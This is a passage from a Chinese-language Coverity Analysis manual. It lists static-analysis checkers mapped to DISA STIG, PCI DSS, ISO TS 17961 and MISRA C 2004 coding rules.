		BAD_OVERRIDE BAD_SHIFT BAD_SIZEOF BUFFER_SIZE CALL_SUPER CHAR_IO CHROOT COM.ADDROF_LEAK COM.BAD_FREE COM.BSTR.BAD_COMPARE COM.BSTR.NE_NON_BSTR CONFIG.COOKIES_MISSING_HTTPONLY CONFIG.COOKIE_SIGNING_DISABLED CONFIG.DEAD_AUTHORIZATION_RULE CONFIG.DUPLICATE_SERVLET_DEFINITION CONFIG.HTTP_VERB_TAMPERING CONFIG.JAVAEE_MISSING_HTTPONLY CONFIG.SPRING_BOOT_SSL_DISABLED CONFIG.SPRING_SECURITY_SESSION_FIXATION CONFIG.STRUTS2_DYNAMIC_METHOD_INVOCATION CONFIG.UNSAFE_SESSION_TIMEOUT CONSTANT_EXPRESSION_RESULT COOKIE_INJECTION COPY_PASTE_ERROR COPY_WITHOUT_ASSIGN CORS_MISCONFIGURATION CORS_MISCONFIGURATION_AUDIT CTOR_DTOR_LEAK DC.DANGEROUS DC.DEADLOCK DC.STREAM_BUFFER DC.STRING_BUFFER DEADCODE EL_INJECTION ENUM_AS_BOOLEAN EVALUATION_ORDER EXPLICIT_THIS_EXPECTED HFA HIBERNATE_BAD_HASHCODE HPKP_MISCONFIGURATION IDENTICAL_BRANCHES IDENTIFIER_TYPO INCOMPATIBLE_CAST INSECURE_HTTP_FIREWALL INSUFFICIENT_PRESIGNED_URL_TIMEOUT INVALIDATE_ITERATOR

名称	说明	Coverity 检查器
		LOCK LOCK_INVERSION MISMATCHED_ITERATOR MISSING_ASSIGN MISSING_AUTHZ MISSING_BREAK MISSING_COMMA MISSING_COPY MISSING_MOVE_ASSIGNMENT MISSING_RESTORE MISSING_RETURN MISSING_THROW MIXED_ENUMS NEGATIVE RETURNS NESTING_INDENT_MISMATCH NO_EFFECT OPEN_ARGS ORDER_REVERSAL ORM_LOAD_NULL_CHECK ORM_LOST_UPDATE ORM_UNNECESSARY_GET OVERFLOW_BEFORE_WIDEN PARSE_ERROR PASS_BY_VALUE PROPERTY_MIXUP PW.ASSIGN_WHERE_COMPARE_MEANT PW.BAD_CAST PW.BAD_PRINTF_FORMAT_STRING PW.BRANCH_PAST_INITIALIZATION PW.CONVERSION_TO_POINTER_LOSES_BITS PW.DIVIDE_BY_ZERO PW.EXPR_HAS_NO_EFFECT PW.INCLUDE_RECURSION PW.INTEGER_OVERFLOW PW.INTEGER_TOO_LARGE PW.NON_CONST_PRINTF_FORMAT_STRING PW.RETURN_PTR_TO_LOCAL_TEMP PW.SHIFT_COUNT_TOO_LARGE PW.TOO_FEW_PRINTF_ARGS PW.TOO_MANY_PRINTF_ARGS PW.UNSIGNED_COMPARE_WITH_NEGATIVE READLINK REGEX_CONFUSION RETURN_LOCAL SECURE_TEMP SELF_ASSIGN

名称	说明	Coverity 检查器
		SESSION_FIXATION SIGN_EXTENSION SIZECHECK SIZEOF_MISMATCH SLEEP STRAY_SEMICOLON STREAM_FORMAT_STATE STRING_NULL SWAPPED_ARGUMENTS TAINT_ASSERT TEMPORARY_CREDENTIALS_DURATION UNINIT UNINITCTOR UNINIT_NONNULL UNINTENDED_GLOBAL UNINTENDED_INTEGER_DIVISION UNREACHABLE UNUSED_VALUE USELESS_CALL USER_POINTER USE_AFTER_FREE VARARGS VIRTUALDTOR WRAPPER_ESCAPE WRONG_METHOD
APSC-DV-003235	该应用程序不得受到错误处理漏洞的约束。	BAD_COMPARE CHECKED_RETURN FB.RV_RETURN_VALUE_IGNORED_BAD_PRACTICE NEGATIVE RETURNS ORM_LOAD_NULL_CHECK REVERSE_NEGATIVE UNCAUGHT_EXCEPT
APSC-DV-003300	设计人员必须确保应用程序中不使用未分类或新出现的移动代码。	FB.EI_EXPOSE REP FB.EI_EXPOSE REP2 FB.FI_PUBLIC_SHOULD_BE_PROTECTED FB.MS_CANNOT_BE_FINAL
APSC-DV-003320	必须实施针对 DoS 攻击的保护措施。	BAD_FREE COM.BSTR.CONV DC.DEADLOCK DIVIDE_BY_ZERO FB.BC_NULL_INSTANCEOF FB.NP_ALWAYS_NULL FB.NP_ALWAYS_NULL_EXCEPTION FB.NP_ARGUMENT_MIGHT_BE_NULL FB.NP_BOOLEAN_RETURN_NULL

名称	说明	Coverity 检查器
		FB.NP_CLONE_COULD_RETURN_NULL FB.NP_CLOSING_NULL FB.NP_DEREFERENCE_OF_READLINE_VALUE FB.NP_DOES_NOT_HANDLE_NULL FB.NP_EQUALS_SHOULD_HANDLE_NULL_ARGUMENT FB.NP_FIELD_NOT_INITIALIZED_IN_CONSTRUCTOR FB.NP_GUARANTEED_DEREF FB.NP_GUARANTEED_DEREF_ON_EXCEPTION_PATH FB.NP_IMMEDIATE_DEREFERENCE_OF_READLINE FB.NP_LOAD_OF_KNOWN_NULL_VALUE FB.NP_METHOD_PARAMETER_RELAXING_ANNOTATION FB.NP_METHOD_PARAMETER_TIGHTENS_ANNOTATION FB.NP_METHOD_RETURN_RELAXING_ANNOTATION FB.NP_NONNULL_FIELD_NOT_INITIALIZED_IN_CONSTRUCTOR FB.NP_NONNULL_PARAM_VIOLATION FB.NP_NONNULL_RETURN_VIOLATION FB.NP_NULL_INSTANCEOF FB.NP_NULL_ON_SOME_PATH FB.NP_NULL_ON_SOME_PATH_EXCEPTION FB.NP_NULL_ON_SOME_PATH_FROM_RETURN_VALUE FB.NP_NULL_ON_SOME_PATH_MIGHT_BE_INFEASIBLE FB.NP_NULL_PARAM_DEREF FB.NP_NULL_PARAM_DEREF_ALL_TARGETS_DANGEROUS FB.NP_NULL_PARAM_DEREF_NONVIRTUAL FB.NP_OPTIONAL_RETURN_NULL FB.NP_PARAMETER_MUST_BE_NONNULL_BUT_MARKED_AS_NULL FB.NP_STORE_INTO_NONNULL_FIELD FB.NP_TOSTRING_COULD_RETURN_NULL FB.NP_UNWRITTEN_FIELD FB.NP_UNWRITTEN_PUBLIC_OR_PROTECTED_FIELD FB.RCN_REDUNDANT_COMPARISON_OF_NULL_AND_NONNULL_VALUES FB.RCN_REDUNDANT_COMPARISON_TWO_NULL_VALUES FB.RCN_REDUNDANT_NULLCHECK_OF_NONNULL_VALUE FB.RCN_REDUNDANT_NULLCHECK_OF_NULL_VALUE FB.RCN_REDUNDANT_NULLCHECK_WOULD_HAVE_BEEN_A_NPE FORWARD_NULL INFINITE_LOOP LOCK LOCK_INVERSION NULL RETURNS ORDER_REVERSAL PW.DIVIDE_BY_ZERO REVERSE_INULL TAINTED_SCALAR UNINIT UNINITCTOR

DISA 应用程序安全和开发 STIG 标准

---

名称	说明	Coverity 检查器
		UNINIT_NONNULL

---

## Appendix C. 支付卡行业数据安全标准

### Table of Contents

C.1. 概述 .....	1038
---------------	------

#### C.1. 概述

Coverity Analysis 可以识别违反标准“支付卡行业数据安全标准 (PCI DSS) 2018”所定义的规则。这些规则在下面的表格中列出。

---

## Appendix D. ISO TS 17961 2016 标准

### Table of Contents

D.1. 概述 .....	1039
---------------	------

#### D.1. 概述

Coverity Analysis 可以识别违反下表中所列的 ISO TS 17961 规则的情况。

要运行 ISO TS 17961 分析，您必须将 `--coding-standard-config` [\[勾选\]](#) 选项传递给 `cov-analyze`。请参阅《Coverity Analysis 用户和管理员指南 [\[勾选\]](#)》（“运行编码标准分析”），获取进一步的指导。

#### D.1.1. ISO/IEC TS 17961:2013/Cor 1:2016 C 安全编码规则

Table D.1. ISO/IEC TS 17961:2013/Cor 1:2016 C 安全编码规则

名称	说明	Coverity 检查器
5.1 ptrcomp	通过指向不兼容类型的指针访问对象。	ISO TS17961 2013 ptrcomp
5.2 accfree	访问释放的内存。	ISO TS17961 2013 accfree
5.3 accsig	在信号处理程序中访问共享的对象。	ISO TS17961 2013 accsig
5.4 boolasgn	条件表达式中没有赋值。	ISO TS17961 2013 boolasgn
5.5 asyncsig	调用 C 标准库中的函数，而不是信号处理程序中的 <code>abort</code> 、 <code>_Exit</code> 和 <code>signal</code> 。	ISO TS17961 2013 asyncsig
5.6 argcomp	调用含有不正确参数的函数。	ISO TS17961 2013 argcomp
5.7 sigcall	调用来自可中断信号处理程序的信号。	ISO TS17961 2013 sigcall
5.8 syscall	调用 <code>system</code> 。	ISO TS17961 2013 syscall
5.9 padcomp	比较 padding 数据。	ISO TS17961 2013 padcomp
5.10 intptrconv	将指针转换为整数或将整数转换为指针。	ISO TS17961 2013 intptrconv
5.11 alignconv	将指针值转换为更严格对齐的指针类型。	ISO TS17961 2013 alignconv
5.12 filecpy	拷贝 FILE 对象。	ISO TS17961 2013 filecpy
5.13 funcdecl	以不兼容的方式声明同一个函数或对象。	ISO TS17961 2013 funcdecl
5.14 nullref	解引用域外指针。	ISO TS17961 2013 nullref
5.15 addrescape	转义自动对象的地址。	ISO TS17961 2013 addrescape

名称	说明	Coverity 检查器
5.16 signconv	在检查 EOF 之前，将带符号字符转换为较宽的整数类型。	ISO TS17961 2013 signconv
5.17 swtchdflt	在 switch 语句中使用隐含的默认值。	ISO TS17961 2013 swtchdflt
5.18 fclose	在不再需要文件或动态内存时，未关闭或释放它们。	ISO TS17961 2013 fclose
5.19 liberr	未能检测并处理标准库错误。	ISO TS17961 2013 liberr
5.20 libptr	通过库函数形成无效指针。	ISO TS17961 2013 libptr
5.21 insufmem	分配内存不足。	ISO TS17961 2013 insufmem
5.22 invptr	形成或使用越界指针或数组下标。	ISO TS17961 2013 invptr
5.23 dblfree	多次释放内存。	ISO TS17961 2013 dblfree
5.24 usrfmt	在格式化字符串中包括被污染的输入或域外输入。	ISO TS17961 2013 usrfmt
5.25 inverrno	不正确地设置和使用 errno。	ISO TS17961 2013 inverrno
5.26 diverr	整数除法错误。	ISO TS17961 2013 diverr
5.27 ioileave	在没有 flush 或定位调用的情况下交错数据流输入和输出。	ISO TS17961 2013 ioileave
5.28 strmod	修改字符串常量	ISO TS17961 2013 strmod
5.29 libmod	修改 getenv、localeconv、setlocale 和 strerror 返回的字符串。	ISO TS17961 2013 libmod
5.30 intoflow	溢出带符号的整数。	ISO TS17961 2013 intoflow
5.31 nonnullcs	将非 null 终止字符序列传递给期望字符串的库函数。	ISO TS17961 2013 nonnullcs
5.32 chrsgnext	将参数传递给不能表示为无符号字符的字符处理函数。	ISO TS17961 2013 chrsgnext
5.33 restrict	将指向同一对象的指针作为参数传递给不同的 restrict 限定参数。	ISO TS17961 2013 restrict
5.34 xfree	重新分配或释放未动态分配的内存。	ISO TS17961 2013 xfree
5.35 uninitref	引用未初始化的内存。	ISO TS17961 2013 uninitref
5.36 ptnobj	对两个不指向同一个数组的指针执行相减或比较运算。	ISO TS17961 2013 ptnobj
5.37 taintstrcpy	被污染的字符串被传递给字符串拷贝函数。	ISO TS17961 2013 taintstrcpy
5.38 sizeofptr	获取指针的大小以确定指向类型的大小。	ISO TS17961 2013 sizeofptr

名称	说明	Coverity 检查器
5.39 taintnoproto	使用被污染的值作为非原型函数指针的参数。	ISO TS17961 2013 taintnoproto
5.40 taintformatio	使用被污染的值以利用格式化的输入或输出函数写入对象。	ISO TS17961 2013 taintformatio
5.41 xfilepos	使用 fsetpos 的值，而不是从 fgetpos 返回的值。	ISO TS17961 2013 xfilepos
5.42 libuse	使用 getenv、localeconv、setlocale 和 strerror 重写的对象。	ISO TS17961 2013 libuse
5.43 chreof	使用与 EOF 无法区分的字符值。	ISO TS17961 2013 chreof
5.44 resident	使用为实现保留的标识符。	ISO TS17961 2013 resident
5.45 invfmtstr	使用无效格式化字符串。	ISO TS17961 2013 invfmtstr
5.46 tauntsink	在受限制的数据消费者中使用了被污染的、可能被破坏的或域外整数值。	ISO TS17961 2013 tauntsink

---

## Appendix E. MISRA 规则和指令

### Table of Contents

E.1. 概述 .....	1042
E.2. MISRA C 2004 .....	1042
E.3. MISRA C++ 2008 .....	1055
E.4. MISRA C 2012 .....	1076

### E.1. 概述

要运行 MISRA 分析，您必须将 `--coding-standard-config` 选项传递给 `cov-analyze`。请参阅《Coverity Analysis 用户和管理员指南 》（“运行 MISRA 分析”），了解关于分析工作流剩余部分的指导。

**Important**

Coverity Analysis 仅标识违反本部分中涉及的 MISRA 规则和指令的情况。

运行 Coverity MISRA 检查器可以帮助您的组织实现 MISRA 合规性，但仅通过这些测试并不能确保合规性。为了满足合规性要求，必须建立一个项目并持续记录执行标准的工作流程。我们建议您首先熟悉该组织发布的《MISRA 合规》备忘录。

MISRA C 2004 规则 1.1 和 MISRA C 2012 规则 1.1

MISRA C 2004 规则 1.1 和 MISRA C 2012 规则 1.1 确保所分析的程序遵守 C 标准。Clang 编译器使用的分析警告和错误消息与 `cov-emit` 使用的不同。在 Clang 编译器和 `cov-emit` 执行规则 1.1 时，您可能会遇到轻微差异。

MISRA 规则和指令被分配了默认类别，如下表所示。组织可以使用 MISRA 修改许多规则的类别。有关修订类别分类和其他与 MISRA 相关的项目的详细信息，请参阅 MISRA 合规性 2016：实现 MISRA 编码指南合规性。

### E.2. MISRA C 2004

Table E.1. MISRA C 2004

规则	摘要	说明	默认类别	相关 Coverity 检查器
规则 1.1	环境	所有代码都应遵守 ISO/IEC 9899:1990 编程语言 C，并根据 ISO/IEC 9899/COR1:1995、ISO/IEC 9899/AMD1:1995 和 ISO/IEC 9899/	必需	MISRA C-2004 规则 1.1

## MISRA 规则和指令

---

规则	摘要	说明	默认类别	相关 Coverity 检查器
		COR2:1996 进行修正或纠正。		
规则 1.2	环境	不应信任不确定或未指定的行为。	必需	
规则 1.3	环境	只有当编译器/语言/汇编程序符合的对象代码有共同定义的接口标准时，才能使用多个编译器和/或语言。	必需	
规则 1.4	环境	应检查编译器/链接器以确保外部标识符支持 31 个字符的重要性及区分大小写。	必需	
规则 1.5	环境	浮点实现应遵守定义的浮点标准。	建议	
规则 2.1	语言扩展	应该独立封装汇编语言。	必需	MISRA C-2004 规则 2.1
规则 2.2	语言扩展	源代码应仅使用 /* ... */ 风格注释。	必需	MISRA C-2004 规则 2.2
规则 2.3	语言扩展	不应在注释中使用字符序列 /*。	必需	MISRA C-2004 规则 2.3
规则 2.4	语言扩展	不应将代码段“注释掉”。	建议	MISRA C-2004 规则 2.4
规则 3.1	文档	应该记录所有使用实现定义的行为的情况。	必需	
规则 3.2	文档	应该记录字符集和相应的编码。	必需	
规则 3.3	文档	应该确定、记录和考虑选定编译器中整数除法的执行情况。	建议	
规则 3.4	文档	应该记录和说明对 #pragma 指令的所有使用情况。	必需	
规则 3.5	文档	如果依赖实现定义的行为和位域包	必需	

## MISRA 规则和指令

---

规则	摘要	说明	默认类别	相关 Coverity 检查器
		装，则应该记录它们。		
规则 3.6	文档	最终产品代码中使用的所有库都应按照本文档的规定书写，并应经过适当的验证。		
规则 4.1	字符集	只应使用在 ISO C 中定义的那些转义序列。	必需	MISRA C-2004 规则 4.1
规则 4.2	字符集	不应使用三字符组。	必需	MISRA C-2004 规则 4.2
规则 5.1	标识符	标识符（内部和外部）长度不应超过 31 个字符。	必需	MISRA C-2004 规则 5.1
规则 5.2	标识符	内部范围中的标识符不应使用与外部范围中的标识符相同的名称，因此隐藏该标识符。	必需	MISRA C-2004 规则 5.2
规则 5.3	标识符	typedef 名称应是唯一的标识符。	必需	MISRA C-2004 规则 5.3
规则 5.4	标识符	标记名称应是唯一的标识符。	必需	MISRA C-2004 规则 5.4
规则 5.5	标识符	具有静态存储期的对象或函数标识符不应再次使用。	建议	MISRA C-2004 规则 5.5
规则 5.6	标识符	一个命名空间中的任何标识符都不应与另一个命名空间中的标识符采用相同的拼写，结构成员和联合成员名称除外。	建议	MISRA C-2004 规则 5.6
规则 5.7	标识符	任何标识符名称都不应重用。	建议	MISRA C-2004 规则 5.7
规则 6.1	类型	普通 char 类型只应该用于存储，并使用字符值。	必需	MISRA C-2004 规则 6.1
规则 6.2	类型	带符号的和无符号的 char 类型只应该	必需	MISRA C-2004 规则 6.2

规则	摘要	说明	默认类别	相关 Coverity 检查器
		用于存储，并使用数字值。		
规则 6.3	类型	应该使用指示大小和符号的 <code>typedef</code> 代替基本数值类型。	建议	MISRA C-2004 规则 6.3
规则 6.4	类型	位域只应被定义为无符号的 <code>int</code> 或带符号的 <code>int</code> 。	必需	MISRA C-2004 规则 6.4
规则 6.5	类型	带符号类型的位域长度至少应为 2 位。	必需	MISRA C-2004 规则 6.5
规则 7.1	常量	不应使用八进制常量（零除外）和八进制转义序列。	必需	MISRA C-2004 规则 7.1
规则 8.1	常量	函数应有原型声明，原型应在函数定义和调用中都可见。	必需	MISRA C-2004 规则 8.1
规则 8.2	常量	在声明或定义对象或函数时，必须显式声明其类型。	必需	MISRA C-2004 规则 8.2
规则 8.3	常量	对于每个函数参数，声明和定义中给定的类型都应相同，返回类型也应相同。	必需	MISRA C-2004 规则 8.3
规则 8.4	常量	如果对象或函数被声明多次，它们的类型应是兼容的。	必需	MISRA C-2004 规则 8.4
规则 8.5	常量	头文件中不应包含对象或函数的定义。	必需	MISRA C-2004 规则 8.5
规则 8.6	常量	函数应在文件范围内声明。	必需	MISRA C-2004 规则 8.6
规则 8.7	常量	对象如果仅在单个函数内访问，则应在块范围内定义。	必需	MISRA C-2004 规则 8.7
规则 8.8	常量	外部对象或函数应在一个且只应在一个文件中声明。	必需	MISRA C-2004 规则 8.8

规则	摘要	说明	默认类别	相关 Coverity 检查器
规则 8.9	常量	包含外部链接的标识符应只具有一个外部定义。	必需	MISRA C-2004 规则 8.9
规则 8.10	常量	对象或函数在文件范围内的所有声明和定义都应包含内部链接，除非要求其包含外部链接。	必需	MISRA C-2004 规则 8.10
规则 8.11	常量	应在包含内部链接的对象和函数的定义和声明中使用静态存储类说明符。	必需	MISRA C-2004 规则 8.11
规则 8.12	常量	当通过外部链接声明数组时，应显式声明其大小或在初始化中隐式定义其大小。	必需	MISRA C-2004 规则 8.12
规则 9.1	初始化	所有自动变量在使用之前都应先赋值。	必需	MISRA C-2004 规则 9.1
规则 9.2	初始化	在数组和结构的非零初始化中，应使用大括号指示和匹配结构。	必需	MISRA C-2004 规则 9.2
规则 9.3	初始化	在枚举器列表中，不应将“=”构造用于显式初始化首位成员之外的成员，除非所有项目都已经被显式初始化。	必需	MISRA C-2004 规则 9.3
规则 10.1	隐式类型转换	在以下情况下，不应将整数类型的表达式的值隐式转换为其他基础类型： (a) 不是转换为使用同一符号的较宽整数类型，或 (b) 表达式很复杂，或 (c) 表达式不是常量，而且是函数参数，或 (d) 表达式不是常	必需	MISRA C-2004 规则 10.1

## MISRA 规则和指令

---

规则	摘要	说明	默认类别	相关 Coverity 检查器
		量，而且是返回表达式。		
规则 10.2	隐式类型转换	在以下情况下，不应将浮点类型的表达式的值隐式转换为其他类型：(a) 不是转换为较宽浮点类型，或 (b) 表达式很复杂，或 (c) 表达式是函数参数，或 (d) 表达式是返回表达式。	必需	MISRA C-2004 规则 10.2
规则 10.3	隐式类型转换	整数类型的复杂表达式的值只能转换为具有相同符号，并且不宽于该表达式基础类型的类型。	必需	MISRA C-2004 规则 10.3
规则 10.4	隐式类型转换	浮点类型的复杂表达式的值只能转换为较窄或具有相同大小的浮点类型。	必需	MISRA C-2004 规则 10.4
规则 10.5	隐式类型转换	如果对基础类型为无符号 char 或无符号 short 的操作数应用了位运算符 ~ 和 <<，结果应立即转换为操作数的基础类型。	必需	MISRA C-2004 规则 10.5
规则 10.6	隐式类型转换	应对无符号类型的所有常量应用“U”后缀。	必需	MISRA C-2004 规则 10.6
规则 11.1	指针类型转换	指向函数的指针只应转换为整数类型。	必需	MISRA C-2004 规则 11.1
规则 11.2	指针类型转换	指向对象的指针只能转换为整数类型、另一个指向对象类型的指针或指向 void 的指针。	必需	MISRA C-2004 规则 11.2
规则 11.3	指针类型转换	指针类型不应转换为整数类型。	建议	MISRA C-2004 规则 11.3

规则	摘要	说明	默认类别	相关 Coverity 检查器
规则 11.4	指针类型转换	指向对象类型的指针不应转换为另一个指向对象类型的指针。	建议	MISRA C-2004 规则 11.4
规则 11.5	指针类型转换	由于指针所访问类型转换将移除任何常量或易失性属性的转换不应被采用。	必需	MISRA C-2004 规则 11.5
规则 12.1	表达式	在表达式中，应有限地依赖 C 运算符优先规则。	建议	MISRA C-2004 规则 12.1
规则 12.2	表达式	在标准允许的任何求值顺序下，表达式的值都应相同。	必需	MISRA C-2004 规则 12.2
规则 12.3	表达式	不应对包含其他作用的表达式使用 sizeof 运算符。	必需	MISRA C-2004 规则 12.3
规则 12.4	表达式	逻辑运算符 && 或    的右操作数不应包含其他作用。	必需	MISRA C-2004 规则 12.4
规则 12.5	表达式	逻辑运算符 && 或    的操作数应为基本表达式。	必需	MISRA C-2004 规则 12.5
规则 12.6	表达式	逻辑运算符 ( &&、   和 ! ) 的操作数应属于有效布尔值。不应将属于有效布尔值的表达式用作除 (&&,   , !=, ==, != and ?:) 之外的运算符的操作数。	建议	MISRA C-2004 规则 12.6
规则 12.7	表达式	不应对基础类型为带符号类型的操作数应用位运算符。	必需	MISRA C-2004 规则 12.7
规则 12.8	表达式	移位运算符的右操作数应介于 0 和左操作数基础类型的位宽度之间。	必需	MISRA C-2004 规则 12.8
规则 12.9	表达式	不应对基础类型为无符号类型的表达式应用位运算符。	必需	MISRA C-2004 规则 12.9

## MISRA 规则和指令

---

规则	摘要	说明	默认类别	相关 Coverity 检查器
		式应用一元减运算符。		
规则 12.10	表达式	不应使用逗号运算符。	必需	MISRA C-2004 规则 12.10
规则 12.11	表达式	无符号的整数常量表达式的评估不应导致溢出。	建议	MISRA C-2004 规则 12.11
规则 12.12	表达式	不应使用浮点值的基础位表示法。	必需	MISRA C-2004 规则 12.12
规则 12.13	表达式	在表达式中，递增 (++) 和递减 (--) 运算符不应与其他运算符混合使用。	建议	MISRA C-2004 规则 12.13
规则 13.1	控制语句表达式	不应在结果为布尔值的表达式中使用赋值运算符。	必需	MISRA C-2004 规则 13.1
规则 13.2	控制语句表达式	应显式测试值是否为零，除非操作数为有效布尔值。	建议	MISRA C-2004 规则 13.2
规则 13.3	控制语句表达式	不应对浮点表达式执行相等或不等测试。	必需	MISRA C-2004 规则 13.3
规则 13.4	控制语句表达式	for 语句的控制表达式不应包含任何浮点类型的对象。	必需	MISRA C-2004 规则 13.4
规则 13.5	控制语句表达式	for 语句的三个表达式应只参与循环控制。	必需	MISRA C-2004 规则 13.5
规则 13.6	控制语句表达式	for 语句中用于循环迭代计数中的数值变量不应在循环体中修改。	必需	MISRA C-2004 规则 13.6
规则 13.7	控制语句表达式	不应允许结果为不变量的布尔运算。	必需	MISRA C-2004 规则 13.7
规则 14.1	控制流	不应存在无法到达的代码。	必需	MISRA C-2004 规则 14.1
规则 14.2	控制流	所有非 null 语句应该：(a) 产生至少一个其他作用，或 (b) 改变控制流。	必需	MISRA C-2004 规则 14.2

规则	摘要	说明	默认类别	相关 Coverity 检查器
规则 14.3	控制流	在预处理之前，null 语句只能单独一行出现；该 null 语句可后接注释，前提是该语句后接的第一个字符是空格。	必需	MISRA C-2004 规则 14.3
规则 14.4	控制流	不应使用 goto 语句。	必需	MISRA C-2004 规则 14.4
规则 14.5	控制流	不应使用 continue 语句。	必需	MISRA C-2004 规则 14.5
规则 14.6	控制流	对于任何迭代语句，用于循环终止的 break 语句至多只能有一个。	必需	MISRA C-2004 规则 14.6
规则 14.7	控制流	函数在函数结束处应该只有唯一的退出点。	必需	MISRA C-2004 规则 14.7
规则 14.8	控制流	构成 switch、while、do ... while 或 for 语句主体的语句应该是复合语句。	必需	MISRA C-2004 规则 14.8
规则 14.9	控制流	if ( 表达式 ) 结构应该后接复合语句。else 关键字应该后接复合语句或另一个 if 语句。	必需	MISRA C-2004 规则 14.9
规则 14.10	控制流	所有 if ... else if 结构应以 else 语句结束。	必需	MISRA C-2004 规则 14.10
规则 15.0	Switch 语句	应使用 MISRA C switch 语法。	必需	MISRA C-2004 规则 15.0
规则 15.1	Switch 语句	switch 标签只应在最里层的复合语句是 switch 语句的主体时使用。	必需	MISRA C-2004 规则 15.1
规则 15.2	Switch 语句	无条件的 break 语句应该终止每一个非空 switch 子句。	必需	MISRA C-2004 规则 15.2

## MISRA 规则和指令

---

规则	摘要	说明	默认类别	相关 Coverity 检查器
规则 15.3	Switch 语句	switch 语句的最终子句应该是 default 子句。	必需	MISRA C-2004 规则 15.3
规则 15.4	Switch 语句	switch 表达式不应表示属于有效布尔值的值。	必需	MISRA C-2004 规则 15.4
规则 15.5	Switch 语句	每个 switch 语句都应该至少具有一个 case 子句。	必需	MISRA C-2004 规则 15.5
规则 16.1	函数	函数中定义的参数个数应该固定。	必需	MISRA C-2004 规则 16.1
规则 16.2	函数	函数不应直接或间接调用自身。	必需	MISRA C-2004 规则 16.2
规则 16.3	函数	应为函数原型声明中的所有参数指定标识符。	必需	MISRA C-2004 规则 16.3
规则 16.4	函数	函数的声明和定义中使用的标识符应是相同的。	必需	MISRA C-2004 规则 16.4
规则 16.5	函数	不包含参数的函数应通过参数列表 void 声明和定义。	必需	MISRA C-2004 规则 16.5
规则 16.6	函数	传递给函数的参数数量应该与参数的个数一致。	必需	MISRA C-2004 规则 16.6
规则 16.7	函数	如果指针未用于修改访问的对象，则应将函数原型中的指针参数声明为 const 指针。	建议	MISRA C-2004 规则 16.7
规则 16.8	函数	返回非 void 类型的函数的所有退出路径都应具有包含表达式的显式返回语句。	必需	MISRA C-2004 规则 16.8
规则 16.9	函数	函数标识符只应与前缀 & 或带参数列表（可能为空）的括号一起使用。	必需	MISRA C-2004 规则 16.9

## MISRA 规则和指令

---

规则	摘要	说明	默认类别	相关 Coverity 检查器
规则 16.10	函数	如果函数返回了错误信息，则应该测试该错误信息。	必需	MISRA C-2004 规则 16.10
规则 17.1	指针和数组	只应将指针算术运算应用到访问数组或数组元素的指针。	必需	MISRA C-2004 规则 17.1
规则 17.2	指针和数组	指针之间的减法运算只应该应用到访问同一数组的元素的指针。	必需	MISRA C-2004 规则 17.2
规则 17.3	指针和数组	不应对指向同一数组的指针类型应用关系运算符 >、>=、< 和 <=。	必需	MISRA C-2004 规则 17.3
规则 17.4	指针和数组	数组索引应该是指针算术运算唯一允许的形式。	必需	MISRA C-2004 规则 17.4
规则 17.5	指针和数组	对象的声明不应包含超过两级的指针间接。	建议	MISRA C-2004 规则 17.5
规则 17.6	指针和数组	在第一个对象消失后不应将自动存储对象的地址赋值给另一个可能仍然存在的对象。	必需	MISRA C-2004 规则 17.6
规则 18.1	结构和联合	在编译单元结尾前所有结构和联合类型必须是完整的。	必需	MISRA C-2004 规则 18.1
规则 18.2	结构和联合	不应将对象分配给重叠的对象。	必需	MISRA C-2004 规则 18.2
规则 18.3	结构和联合	内存区域不得再次用于不相关的目的。	必需	
规则 18.4	结构和联合	不应使用联合。	必需	MISRA C-2004 规则 18.4
规则 19.1	预处理指令	文件中的 #include 语句之前只能包含其他预处理器指令或注释。	建议	MISRA C-2004 规则 19.1

## MISRA 规则和指令

---

规则	摘要	说明	默认类别	相关 Coverity 检查器
规则 19.2	预处理指令	在 #include 指令中，头文件名称中不应出现非标准字符。	建议	MISRA C-2004 规则 19.2
规则 19.3	预处理指令	#include 指令应后接 <filename> 或“filename”序列。	必需	MISRA C-2004 规则 19.3
规则 19.4	预处理指令	C 宏只能扩展为带大括号的初始化语句、常量、字符串常数值、带圆括号的表达式、类型限定符、存储类说明符或 do-while-zero 结构。	必需	MISRA C-2004 规则 19.4
规则 19.5	预处理指令	在代码块中，不应使用 #define 或 #undef 定义或取消定义宏。	必需	MISRA C-2004 规则 19.5
规则 19.6	预处理指令	不应使用 #undef。	必需	MISRA C-2004 规则 19.6
规则 19.7	预处理指令	应优先使用函数，而不是类似于函数的宏。	建议	MISRA C-2004 规则 19.7
规则 19.8	预处理指令	类似于函数的宏不应在被调用时省略所有参数。	必需	MISRA C-2004 规则 19.8
规则 19.9	预处理指令	类似于函数的宏的参数不应包含看起来像是预处理指令的标识符。	必需	MISRA C-2004 规则 19.9
规则 19.10	预处理指令	在类似于函数的宏的定义中，参数的每个实例都应使用圆括号括起，除非它被用作 # 或 ## 的操作数。	必需	MISRA C-2004 规则 19.10
规则 19.11	预处理指令	预处理器指令中的所有宏标识符都应在使用前进行定义，在 #ifdef 和 #ifndef 预处理器指	必需	MISRA C-2004 规则 19.11

## MISRA 规则和指令

---

规则	摘要	说明	默认类别	相关 Coverity 检查器
		令和 defined() 运算符中定义的除外。		
规则 19.12	预处理指令	在单个宏定义中，# 或 ## 运算符最多只应出现一次。	必需	MISRA C-2004 规则 19.12
规则 19.13	预处理指令	不应使用 # 和 ## 预处理器运算符。	建议	MISRA C-2004 规则 19.13
规则 19.14	预处理指令	定义的预处理器运算符只能采用两种标准形式中的一种。	必需	MISRA C-2004 规则 19.14
规则 19.15	预处理指令	应注意防止头文件的内容出现两次。	必需	MISRA C-2004 规则 19.15
规则 19.16	预处理指令	预处理指令必须在语法上有意义，即使被预处理器排除。	必需	MISRA C-2004 规则 19.16
规则 19.17	预处理指令	所有 #else、#elif 和 #endif 预处理器指令都应和相关的 #if 或 #ifdef 指令处在同一文件中。	必需	MISRA C-2004 规则 19.17
规则 20.1	标准库	不应定义、重新定义或取消定义标准库中的保留标识符、宏和函数。	必需	MISRA C-2004 规则 20.1
规则 20.2	标准库	标准库宏、对象和函数的名称不应再次使用。	必需	MISRA C-2004 规则 20.2
规则 20.3	标准库	应该检查传递给库函数的值的有效性。	必需	MISRA C-2004 规则 20.3
规则 20.4	标准库	不应使用动态堆内存分配。	必需	MISRA C-2004 规则 20.4
规则 20.5	标准库	不应使用错误指示器 errno。	必需	MISRA C-2004 规则 20.5
规则 20.6	标准库	不应使用库 <stddef.h> 中的宏 offsetof。	必需	MISRA C-2004 规则 20.6

规则	摘要	说明	默认类别	相关 Coverity 检查器
规则 20.7	标准库	不应使用 setjmp 宏和 longjmp 函数。	必需	MISRA C-2004 规则 20.7
